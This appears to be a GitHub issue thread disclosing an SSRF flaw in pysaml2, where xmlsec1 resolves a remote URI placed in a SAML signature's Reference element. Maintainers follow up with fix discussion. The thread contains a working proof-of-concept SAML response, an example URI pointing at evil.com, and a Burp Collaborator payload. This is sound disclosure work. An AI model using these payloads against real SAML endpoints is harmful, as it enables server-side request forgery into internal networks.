IdentityPython / pysaml2

Python implementation of SAML2
Apache License 2.0
560 stars 422 forks source link

SSRF from `URI` attribute in `SAMLResponse` #510

Open marcpare opened 6 years ago

marcpare commented 6 years ago

Howdy y'all, been tracking down the root cause of another SSRF reported by a client. Lots of SAML is new to me so please feel free to be critical!

Code Version

pysaml2 = 4.5.0 xmlsec1 = 1.2.25

Expected Behavior

pysaml2 should not make arbitrary http calls.

Current Behavior

A Burp scan reported the following:

Issue:   External service interaction (HTTP)

Path:   /saml/sso/okta/

Issue detail

It is possible to induce the application to perform server-side HTTP requests to arbitrary domains.

The payload http://9kukx3fprxyfcbyfnkcie63gu708oycw4ju6lw9l.burpcollaborator.net?#id117178283225551701714676244 was submitted in the URI XML attribute, within the Base64-decoded value of the SAMLResponse parameter.

The application performed an HTTP request to the specified domain.

I encountered SSRF recently (https://github.com/IdentityPython/pysaml2/issues/508) because of an outdated xmlsec1. In this case, however, it occurred with an up-to-date pysaml2 (4.5.0) and xmlsec1 (1.2.25).

The SSRF occurs in the URI field of the ds:Reference node of a SAML response. Normally, these look like this:

<ds:Reference URI="#id117178283225551701714676244">

but you can change them to something like this:

<ds:Reference URI="http://www.evil.com/uhoh?#id117178283225551701714676244">

and the URI will be resolved internally.

The pysaml2 method that triggers the SSRF is parse_authn_request_response. I tracked down the root cause to the call out to xmlsec1 --verify.

Possible Solution

There appears to be a simple fix. There is a flag --enabled-reference-uris in xmlsec1 that prevents this.

--enabled-reference-uris <list>
  comma separated list of of the following values:
  "empty", "same-doc", "local","remote" to restrict possible URI
  attribute values for the <dsig:Reference> element

Setting it to same-doc no longer triggers an SSRF.

I think this would a one-line fix in sigver.py:validate_signature.

Steps to Reproduce

Here is a command to replicate the SSRF:

xmlsec1 --verify --pubkey-cert-pem cert.pem --id-attr:ID urn:oasis:names:tc:SAML:2.0:protocol:Response --node-id id13006418945800911522578705 --output foo.xml ssrf.xml

Run a local web server to see the request. e.g.

python3 -m http.server

The files cert.pem and ssrf.py are pasted below. They're intercepted from an authentication flow on a local Flask app created by following Okta's pysaml2 tutorial.

You can tweak the URI in ssrf.xml (grep for localhost).

cert.pem

-----BEGIN CERTIFICATE-----
MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9
-----END CERTIFICATE-----

ssrf.xml

<?xml version="1.0" encoding="UTF-8"?><saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:5000/saml/sso/example-okta-com" ID="id13006418945800911522578705" InResponseTo="id-oKQEk3ORAkDv4zi2c" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="http://localhost:8000/uhoh?#id13006418945800911522578705"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>yukVDz+mAUx0MDDQczU8r9O0WT/9UgQAlzgMv9lGbcE=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>mKAPrbhHzIzTeuyBKYnuW/gYOKQm4ys+8pMIu0a3BiM8hJ7nyGkH9m/OHwykpYf974o4oaM/5Oeo4d+t+lz7kkvae8WukRmqpXn/HdKKetAvUGyYsXADZQODxrsuF/lHlDZsjukTbwC/2zvCqbrPYTba58FJSpSyaVXV5O4AM/WLA+9B4EAqZe9K/htoERh38lgjauGPLoYJ/69qzJ9QMmyYptD8gJZlh1EjyVyDI2ReUbWYT6GQrT8/jnRacJP0gA1UMtS7G9IT/HRqBC25Co+gvKa82ddsGJuv81FFn0pNztokXCudrloJKAAyMNZ9YWP4pM76ECm1+dS3nucFoA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"><saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></saml2p:Status><saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id13006418946048531513586761" IssueInstant="2018-06-16T00:35:14.241Z" Version="2.0" xmlns:xs="http://www.w3.org/2001/XMLSchema"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">http://www.okta.com/exkfhm6ik8yNzY33b0h7</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#id13006418946048531513586761"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="xs"/></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>y7rrzPTUGqzMCBOA6m9rqPoMcWV4NqydgctJelO3BtI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>fHzgiqlCg2hgtx12hRuyr3/ZuHIXlhTue74+w3n1Wv9SeBGp9qyGOiSqfPhFAVoznIdlPlh0dL+8DDnBzqEN1gr9wb3yMRaFI2dBxqCzvfZfHzG9PFy+BIHutujtt9IK3m0eGGtge/FhXhfX1GB3htJOQlfeH8vPfREnsFkcHuiWcd2R7abmu05SCVjfaAHjgmR7uVWyGapl46YmSn2n5w9hQnoIw+uKSAebCRnmYD+HB1YCn4kHrdQxfG0bwg2/31morNS2x87TfY3+6QGoeXqFrBSlAFt6XNHCPBi5CpGTNkhcL5IVKYBZrwKmIiMdJ2X16F0YQWO8GNbFjcCx0g==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDpDCCAoygAwIBAgIGAWQF+esNMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG
A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU
MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMzc3NzMxHDAaBgkqhkiG9w0BCQEW
DWluZm9Ab2t0YS5jb20wHhcNMTgwNjE2MDAyMjQyWhcNMjgwNjE2MDAyMzQxWjCBkjELMAkGA1UE
BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV
BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTM3NzczMRwwGgYJ
KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
r353+7h1iCfRyY8MB2fJgdBlsLaA//tTJ2akD0IXv4Z0LnwYcQvkeLFfdtnLkgLQtGtv6sS/YXHw
Kt4olom48wp0ddr1Buzb9Fd35A5scJtw2alD2QzY6UuHGHQh+Y8sxXvImbOW7DpnMmazehupe03r
xU8IkAi+Zw5E2revZPcnvYLvmCH02sX7GebQNZdxSaJw+iI/BZPG0RRwctNORd2Pja/vS4PSpvwS
35A+/zy4L8xDHDpQt8TDeI4kcSXmByVcDy44ps95L+4cZUyerxmlik1zGNgeDrrCZY3gvE+puEd8
ovTUoDc+0lyJwST8zoG0LgvzhoY4BSaG3JduLQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQAOw/MA
goYqUVP1EcoVf3KNDh3hOtYcii09WyNItckhDujd9kMllxtySrMP9j90K2+SO0t2I4QAVfWY/NNc
YErLIs19FHM433GCfLAcm57D0AuTv5LYwZQh2IJ55meVoaNOqxk3O5Hb0xK80C/tx0Tuy/7mjoW1
z/vMeaSuaMvd+ogozEM6gynL7sLjoYu9xMHlrzSF15OTu+p/EodlcSnDOGs2LZxjAPOSQed5xYdq
b+8BA5Mb/jYqA7646MwiAbMopAupEhSWCKs0CM3kavSs5HfSkyvLHMEMPjtUqy/oXSYj7vhQstcb
JwVHX4/elPvl4AVd6Ch10PL/2R+U3Hj9</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">marc@rvit.co</saml2:NameID><saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml2:SubjectConfirmationData InResponseTo="id-oKQEk3ORAkDv4zi2c" NotOnOrAfter="2018-06-16T00:40:14.241Z" Recipient="http://localhost:5000/saml/sso/example-okta-com"/></saml2:SubjectConfirmation></saml2:Subject><saml2:Conditions NotBefore="2018-06-16T00:30:14.241Z" NotOnOrAfter="2018-06-16T00:40:14.241Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AudienceRestriction><saml2:Audience>http://localhost:5000/saml/sso/example-okta-com</saml2:Audience></saml2:AudienceRestriction></saml2:Conditions><saml2:AuthnStatement AuthnInstant="2018-06-16T00:24:55.527Z" SessionIndex="id-oKQEk3ORAkDv4zi2c" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:AuthnContext><saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2:AuthnContext></saml2:AuthnStatement><saml2:AttributeStatement xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"><saml2:Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Marc</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Pare</saml2:AttributeValue></saml2:Attribute><saml2:Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"><saml2:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">marc@rvit.co</saml2:AttributeValue></saml2:Attribute></saml2:AttributeStatement></saml2:Assertion></saml2p:Response>
c00kiemon5ter commented 6 years ago

Excellent report. Thanks!

This is indeed a problem. I will push the fix first thing in the morning.

jkakavas commented 6 years ago

Nice find @marcpare ! I took a look at opensaml for this and they're not vulnerable since they have explicit validation for (among other things) signatures.

I was wondering if we should consider adding a layer of validation in pysaml2 for certain elements, conditions instead of only relying on underlying libraries. Thoughts @c00kiemon5ter ?

c00kiemon5ter commented 6 years ago

@jkakavas yes, we should. This is one of the things I want to do, and it should be part of the type system - ie, our Reference type should be making sure it is representing a valid (as we define) node. (In this particular case it is Signature node that will impose that policy on its Reference child.) Validation should take place at the very start of the process, where we receive data, parse them and represent them with an object. In pysaml2 some things work that way, while others pass around an xml string that needs to be parsed or modified in place; this should change and hopefully will in the near future.

c00kiemon5ter commented 6 years ago

This issue is also described in the XML Signature Best Practices document. We should make a check list of that.

c00kiemon5ter commented 6 years ago

I think both empty and same-doc should be fine:

xmlsec1 --enabled-reference-uris empty,same-doc ...

Quoting the XML Signature Syntax and Processing document:

If the URI attribute is omitted altogether, the receiving application is expected to know the identity of the object. For example, a lightweight data protocol might omit this attribute given the identity of the object is part of the application context. This attribute may be omitted from at most one Reference in any particular SignedInfo, or Manifest.

c00kiemon5ter commented 6 years ago

I am reopening this, as there are more places where the xmlsec1 executable is called. We need to make sure that those calls do not try to reach the network.

peppelinux commented 4 years ago

Interesting, yes with a customized apparmor profile. Something like:

/usr/local/bin/xmlsec1 {
    ...

    # block ipv4 acces
    deny network inet,
    # ipv6 
    deny network inet6,
    # raw socket
    deny network raw,

}

ah, I think that would be useful to compile xmlsec1 from sources (and disable these kind of feature directly in configuration ...)

peppelinux commented 4 years ago

I am reopening this, as there are more places where the xmlsec1 executable is called. We need to make sure that those calls do not try to reach the network.

Actually I can see https://github.com/IdentityPython/pysaml2/blob/1aeae3ae565e02f863a26b2893354d048a7abff8/src/saml2/sigver.py#L858

we should also check in request and response methods. That wouldn't be too heavy

ioparaskev commented 4 years ago

Seeing that xmlsec1 also has a similar option --enabled-cipher-reference-uris, I wonder if this issue can also be achieve by taking advantage of the CipherReference element and its URI attribute